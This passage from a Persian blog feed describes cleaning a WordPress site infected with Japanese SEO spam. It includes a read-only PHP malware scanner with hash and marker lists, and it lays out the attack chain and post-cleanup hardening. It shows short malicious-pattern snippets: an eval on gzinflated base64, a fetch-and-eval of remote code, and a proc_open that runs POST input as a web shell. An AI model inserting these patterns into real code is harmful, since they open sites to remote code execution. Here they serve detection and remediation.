قطعیdc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3مسیرهای جعلی سئو/prizes/&#xA;/sitemap607.xml&#xA;/sitemap608.xml&#xA;?s=&lt;spam&gt;&#xA;?o=&lt;long-number&gt;نمونه منطق یک اسکنر امن و فقط خواندنیاسکنر زیر صرفاً یک نمونه ساده است و چیزی را حذف نمیکند. روی سایت واقعی باید با محدودیت دسترسی، Timeout، Skip Directory و گزارش دقیقتر استفاده شود.&lt;?php&#xA;&#xA;declare(strict_types=1);&#xA;&#xA;header(&#39;Content-Type: text/plain; charset=UTF-8&#39;);&#xA;&#xA;$root = &#39;/home/USERNAME&#39;;&#xA;&#xA;$knownHashes = [&#xA;    &#39;dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c&#39;,&#xA;    &#39;2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3&#39;,&#xA;];&#xA;&#xA;$markers = [&#xA;    &#39;BDKR28&#39;,&#xA;    &#39;Priv1337&#39;,&#xA;    &#39;Leaf PHPMailer&#39;,&#xA;    &#39;leafmailer.pw&#39;,&#xA;    &#39;lef8.pw&#39;,&#xA;    &#39;pastefy.app/mHRbhSpa/raw&#39;,&#xA;    &#39;nobotuseragent&#39;,&#xA;    &#39;okhtmlgetcontent&#39;,&#xA;    &#39;ezyyimywymy1mtykljy2ywzhnmmmjwy2igz&#39;,&#xA;];&#xA;&#xA;$iterator = new RecursiveIteratorIterator(&#xA;    new RecursiveDirectoryIterator(&#xA;        $root,&#xA;        FilesystemIterator::SKIP_DOTS&#xA;    )&#xA;);&#xA;&#xA;foreach ($iterator as $file) {&#xA;    if (!$file-&gt;isFile() || $file-&gt;isLink()) {&#xA;        continue;&#xA;    }&#xA;&#xA;    if ($file-&gt;getSize() &gt; 5 * 1024 * 1024) {&#xA;        continue;&#xA;    }&#xA;&#xA;    $path = $file-&gt;getPathname();&#xA;    $content = @file_get_contents($path);&#xA;&#xA;    if ($content === false) {&#xA;        continue;&#xA;    }&#xA;&#xA;    $reasons = [];&#xA;    $sha256 = hash(&#39;sha256&#39;, $content);&#xA;&#xA;    if (in_array($sha256, $knownHashes, true)) {&#xA;        $reasons[] = &#39;Known malicious hash&#39;;&#xA;    }&#xA;&#xA;    foreach ($markers as $marker) {&#xA;        if (stripos($content, $marker) !== false) {&#xA;            $reasons[] = &#39;Marker: &#39; . $marker;&#xA;        }&#xA;    }&#xA;&#xA;    if ($reasons !== []) {&#xA;        echo &#34;PATH: {$path}\n&#34;;&#xA;        echo &#34;SHA256: {$sha256}\n&#34;;&#xA;&#xA;        foreach ($reasons as $reason) {&#xA;            echo &#34; - {$reason}\n&#34;;&#xA;        }&#xA;&#xA;        echo &#34;\n&#34;;&#xA;    }&#xA;}این اسکنر بهتنهایی کافی نیست؛ زیرا فایلهای جدید ممکن است هیچیک از Hashها یا Markerهای قبلی را نداشته باشند.روش بهتر برای تشخیص فایلهای ناشناختهعلاوه بر Signature، باید رفتار فایل بررسی شود.یک فایل PHP زمانی بسیار مشکوک است که چند مورد از ویژگیهای زیر را همزمان داشته باشد:eval&#xA;assert&#xA;create_function&#xA;base64_decode&#xA;gzinflate&#xA;gzdecode&#xA;str_rot13&#xA;strrev&#xA;hex2bin&#xA;file_get_contents با URL خارجی&#xA;curl_exec&#xA;proc_open&#xA;shell_exec&#xA;system&#xA;passthru&#xA;move_uploaded_file&#xA;file_put_contents&#xA;unlink&#xA;rename&#xA;scandirبرای مثال وجود base64_decode بهتنهایی بدافزار نیست. بعضی افزونهها استفاده قانونی دارند.اما ترکیب زیر بسیار مشکوک است:eval(&#xA;    gzinflate(&#xA;        base64_decode($payload)&#xA;    )&#xA;);یا:$code = file_get_contents(&#xA;    &#39;https://example.com/payload&#39;&#xA;);&#xA;&#xA;eval($code);یا:proc_open(&#xA;    $_POST[&#39;command&#39;],&#xA;    $descriptor,&#xA;    $pipes&#xA;);تفاوت نتیجه قطعی و False Positiveاسکنرهای امنیتی معمولاً تعداد زیادی نتیجه تولید میکنند. همه آنها بدافزار نیستند.مواردی که در این پرونده False Positive بودند:فایلهای WP Rocket دارای عبارت Googlebotکتابخانه Mobile Detectفایلهای Minifyشده JavaScriptSVGهای طولانیفایلهای CSS فشردهXMLهای بزرگتصاویر باینری که بهصورت تصادفی شامل &lt;?= بودندکتابخانههای Composerفایلهای WooCommerce و Elementorقاعده مهم:هیچ فایل هسته، افزونه یا قالبی فقط بهدلیل یک عبارت عمومی حذف نشود.نشانههای قویتر عبارتاند از:Hash قطعینام تصادفی همراه با محتوای Obfuscatedفایل PHP در uploadseval همراه با Payload طولانینسخه یکسان فایل در چند مسیر نامرتبطRemote URL ناشناسFile Manager یا Command Runner بدون احراز هویتزمان ساخت نزدیک به زمان حملهاشتباههایی که میتوانست پاکسازی را ناقص کندفقط حذف index.php آلودهبا حذف کد داخل index.php، Cloaking متوقف شد؛ اما Backdoorهای دیگر همچنان وجود داشتند.فقط اسکن public_htmlبخش زیادی از فایلهای مخرب در مسیرهای خارج از public_html بودند.اعتماد کامل به نتیجه صفر یک اسکنراسکن اول خانواده ejrJa8.php را پیدا نکرد، چون امضای متفاوتی داشت.Overwriteکردن هسته بدون حذف پوشههای قبلیفایلهای اضافی مهاجم ممکن است در wp-admin و wp-includes باقی بمانند.حذف همه فایلهای مشکوک براساس نامنامهایی مانند index.php، admin.php و shadow ممکن است قانونی باشند. مسیر و محتوا مهمتر از نام است.نصب چند افزونه امنیتی همزمانچند Firewall یا Malware Scanner میتوانند باعث تداخل، مصرف منابع و قفلشدن سایت شوند.نگهداشتن اسکنر در public_htmlاسکنرهای موقت خودشان اطلاعات حساس مسیرها را نمایش میدهند. پس از پایان کار باید حذف شوند.اقدامات پیشگیرانه بعد از پاکسازیمسدودکردن اجرای PHP در uploadsداخل فایل زیر:wp-content/uploads/.htaccessاین تنظیم قرار گرفت:&lt;FilesMatch &#34;\.(php|php[0-9]+|phtml|phar)$&#34;&gt;&#xA;    &lt;IfModule mod_authz_core.c&gt;&#xA;        Require all denied&#xA;    &lt;/IfModule&gt;&#xA;&#xA;    &lt;IfModule !mod_authz_core.c&gt;&#xA;        Deny from all&#xA;    &lt;/IfModule&gt;&#xA;&lt;/FilesMatch&gt;&#xA;&#xA;&lt;IfModule mod_mime.c&gt;&#xA;    RemoveHandler .php .phtml .phar&#xA;    RemoveType .php .phtml .phar&#xA;&lt;/IfModule&gt;این قانون مانع اجرای مستقیم فایل PHP داخل پوشه آپلودها میشود.بستن ویرایشگر فایل وردپرسدر wp-config.php:define(&#39;DISALLOW_FILE_EDIT&#39;, true);غیرفعالکردن Debug در محیط واقعیdefine(&#39;WP_DEBUG&#39;, false);&#xA;define(&#39;WP_DEBUG_LOG&#39;, false);&#xA;define(&#39;WP_DEBUG_DISPLAY&#39;, false);اجبار SSL برای مدیریتdefine(&#39;FORCE_SSL_ADMIN&#39;, true);Permission مناسبDirectory: 755&#xA;File: 644&#xA;wp-config.php: 440 یا 640هیچ فایل یا پوشهای نباید 777 باشد.نصب مجدد افزونهها و قالبهاافزونه و قالب موجود صرفاً Update نشوند. پوشه قدیمی حذف و نسخه سالم رسمی نصب شود.این موضوع مخصوصاً برای موارد زیر مهم است:WP Rocket&#xA;Code Snippets&#xA;WPCode&#xA;WooCommerce&#xA;Elementor&#xA;Rank Math&#xA;Slider Revolution&#xA;Woodmartفعالسازی ورود دومرحلهایبرای:cPanel&#xA;WordPress Admin&#xA;Email&#xA;Cloudflareبررسی دسترسیهای هاستFTP Accounts&#xA;SSH Keys&#xA;API Tokens&#xA;Email Forwarders&#xA;Email Filters&#xA;Application Passwords&#xA;Cron Jobsفعالکردن ModSecurity و اسکن سروراز هاستینگ درخواست شود:ModSecurity&#xA;OWASP CRS&#xA;ImunifyAV+&#xA;Imunify360&#xA;Scheduled Malware Scan&#xA;Email Alert&#xA;CloudLinux CageFS&#xA;Account Isolationاقدامات مربوط به گوگل بعد از پاکسازیپاکشدن فایلها به معنی حذف فوری نتایج اسپم از گوگل نیست.بعد از پاکسازی باید:Sitemap واقعی بررسی شود.Sitemap دوباره در Search Console ثبت شود.صفحه اصلی با Live Test آزمایش شود.URLهای /prizes/ پاسخ 404 یا 410 بدهند.URLهای جعلی در ابزار Removals موقتاً مخفی شوند.صفحات اصلی Request Indexing شوند.گزارش Pages و Crawled Currently Not Indexed بررسی شود.Favicon و Title جدید دوباره Crawl شوند.Server Log برای درخواستهای قدیمی Googlebot بررسی شود.بازگشت Googlebot به URLهای اسپم قدیمی طبیعی است. مهم این است که دیگر محتوای ژاپنی یا پاسخ 200 دریافت نکند.جمعبندی تجربهاین آلودگی فقط یک «هک ژاپنی ساده» نبود.ساختار حمله چندلایه بود:Remote Loader در index.php&#xA;        ↓&#xA;Cloaking برای Googlebot&#xA;        ↓&#xA;Sitemap و URL جعلی&#xA;        ↓&#xA;Backdoor در ریشه سایت&#xA;        ↓&#xA;Uploaderهای BDKR28 و Priv1337&#xA;        ↓&#xA;Leaf PHPMailer برای ارسال اسپم&#xA;        ↓&#xA;Web Shell با اجرای Command&#xA;        ↓&#xA;Payloadهای مخفی در uploads&#xA;        ↓&#xA;کپی بدافزار در tmp، ssl، etc و public_ftp&#xA;        ↓&#xA;۱۲ نسخه Loader داخل wp-admin و wp-includesمهمترین درسها:ظاهر سالم سایت دلیل سالمبودن آن نیست.Google Search Console میتواند اولین محل کشف Cloaking باشد.نبودن محتوا در دیتابیس، آلودگی فایلها را رد نمیکند.فقط public_html را اسکن نکنید.فقط نام فایل را بررسی نکنید.فقط به یک اسکنر اعتماد نکنید.پوشههای هسته را قبل از نصب نسخه سالم حذف کنید.PHP داخل uploads را جدی بگیرید.Hash و Marker هر دو مفیدند، اما رفتار فایل مهمتر است.فایلهای خارج از Web Root نیز میتوانند Persistence ایجاد کنند.بعد از حذف بدافزار، رمزها و دسترسیها باید تغییر کنند.بدون مانیتورینگ و بکاپ خارج از هاست، پاکسازی کامل نیست.در این پرونده، پاکسازی واقعی زمانی کامل شد که:اسکن خانواده 85049c1f2be10d: صفر&#xA;اسکن Loader رمزگذاریشده: صفر&#xA;اسکن دیتابیس: صفر&#xA;Cron Job مشکوک: صفر&#xA;auto_prepend_file مشکوک: صفر&#xA;کاربر مدیر ناشناس: صفر&#xA;Google Live Test: نسخه واقعی سایتاین تجربه نشان داد که برای حل هک ژاپنی وردپرس، نباید فقط روی صفحهای که گوگل نشان میدهد تمرکز کرد. باید زنجیره کامل آلودگی، از اولین فایل اجراشونده تا آخرین Backdoor پنهان در اکانت هاست، شناسایی و قطع شود.</description><category>mohammad ghanimi</category><author>mohammad ghanimi</author><pubDate>Tue, 14 Jul 2026 23:49:50 +0330</pubDate></item></channel></rss>